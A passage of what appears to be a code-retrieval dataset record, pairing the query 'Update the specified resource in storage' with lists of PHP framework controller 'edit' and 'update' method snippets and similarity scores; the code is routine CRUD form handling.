}", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function edit()\n {\n return view('hirmvc::edit');\n }", "public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}", "public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }", "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }", "public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }", "private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }", "public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }", "public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}", "public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }", "public function edit($model, $form);", "function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}", "public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}", "public function edit()\n { \n return view('admin.control.edit');\n }", "public function edit(Form $form)\n {\n //\n }", "public function edit()\n {\n return view('common::edit');\n }", "public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "public function edit($id)\n {\n // show form edit user info\n }", "public function edit()\n {\n return view('escrow::edit');\n }", "public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }", "public function edit()\n {\n return view('commonmodule::edit');\n }", "public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit(form $form)\n {\n //\n }", "public function actionEdit($id) { }", "public function edit()\n {\n return view('admincp::edit');\n }", "public function edit()\n {\n return view('scaffold::edit');\n }", "public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }", "public function edit()\n {\n return view('Person.edit');\n }", "public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }", "public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}", "public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }", "public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}", "public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }", "public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }", "public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }", "function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}", "public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }", "public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }", "public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}", "public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}", "public function edit($id)\n {\n return view('models::edit');\n }", "public function edit()\n {\n return view('home::edit');\n }", "public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }", "public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }", "public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }", "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('consultas::edit');\n }", "public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "public function edit()\n {\n return view('dashboard::edit');\n }", "public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }", "public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }", "public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }", "public function edit() {\n return view('routes::edit');\n }", "public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }", "public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('cataloguemodule::edit');\n }", "public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }", "public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }", "public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }", "public function edit()\n {\n return view('website::edit');\n }", "public function edit()\n {\n return view('inventory::edit');\n }", "public function edit()\n {\n return view('initializer::edit');\n }", "public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }", "public function edit($id)\n {\n return view('backend::edit');\n }", "public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }", "public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }", "public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}", "public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }", "public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }", "public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }", "public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }", "public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}" ]
[ "0.78550774", "0.7692893", "0.7273195", "0.7242132", "0.7170847", "0.70622855", "0.7053459", "0.6982539", "0.69467914", "0.6945275", "0.6941114", "0.6928077", "0.69019294", "0.68976134", "0.68976134", "0.6877213", "0.68636996", "0.68592185", "0.68566656", "0.6844697", "0.68336326", "0.6811471", "0.68060875", "0.68047357", "0.68018645", "0.6795623", "0.6791791", "0.6791791", "0.6787701", "0.67837197", "0.67791027", "0.677645", "0.6768301", "0.6760122", "0.67458534", "0.67458534", "0.67443407", "0.67425704", "0.6739898", "0.6735328", "0.6725465", "0.6712817", "0.6693891", "0.6692419", "0.6688581", "0.66879624", "0.6687282", "0.6684741", "0.6682786", "0.6668777", "0.6668427", "0.6665287", "0.6665287", "0.66610634", "0.6660843", "0.66589665", "0.66567147", "0.66545695", "0.66527975", "0.6642529", "0.6633056", "0.6630304", "0.6627662", "0.6627662", "0.66192114", "0.6619003", "0.66153085", "0.6614968", "0.6609744", "0.66086483", "0.66060555", "0.6596137", "0.65950733", "0.6594648", "0.65902114", "0.6589043", "0.6587102", "0.65799844", "0.65799403", "0.65799177", "0.657708", "0.65760696", "0.65739626", "0.656931", "0.6567826", "0.65663105", "0.65660435", "0.65615267", "0.6561447", "0.6561447", "0.65576506", "0.655686", "0.6556527", "0.6555543", "0.6555445", "0.65552044", "0.65543956", "0.65543705", "0.6548264", "0.65475875", "0.65447706" ]
0.0
-1
Update the specified resource in storage.
public function update(Request $request, $id) { }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }", "public function update(Request $request, Resource $resource)\n {\n //\n }", "public function updateStream($resource);", "public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }", "protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }", "public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }", "public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}", "public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }", "public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }", "protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }", "public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }", "public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }", "public function update($path);", "public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }", "public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }", "public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}", "public function updateStream($path, $resource, Config $config)\n {\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }", "public function update($data) {}", "public function update($data) {}", "public function putStream($resource);", "public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function update($entity);", "public function update($entity);", "public function setResource($resource);", "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "public function isUpdateResource();", "public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }", "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }", "public function store($data, Resource $resource);", "public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }", "public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }", "public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n 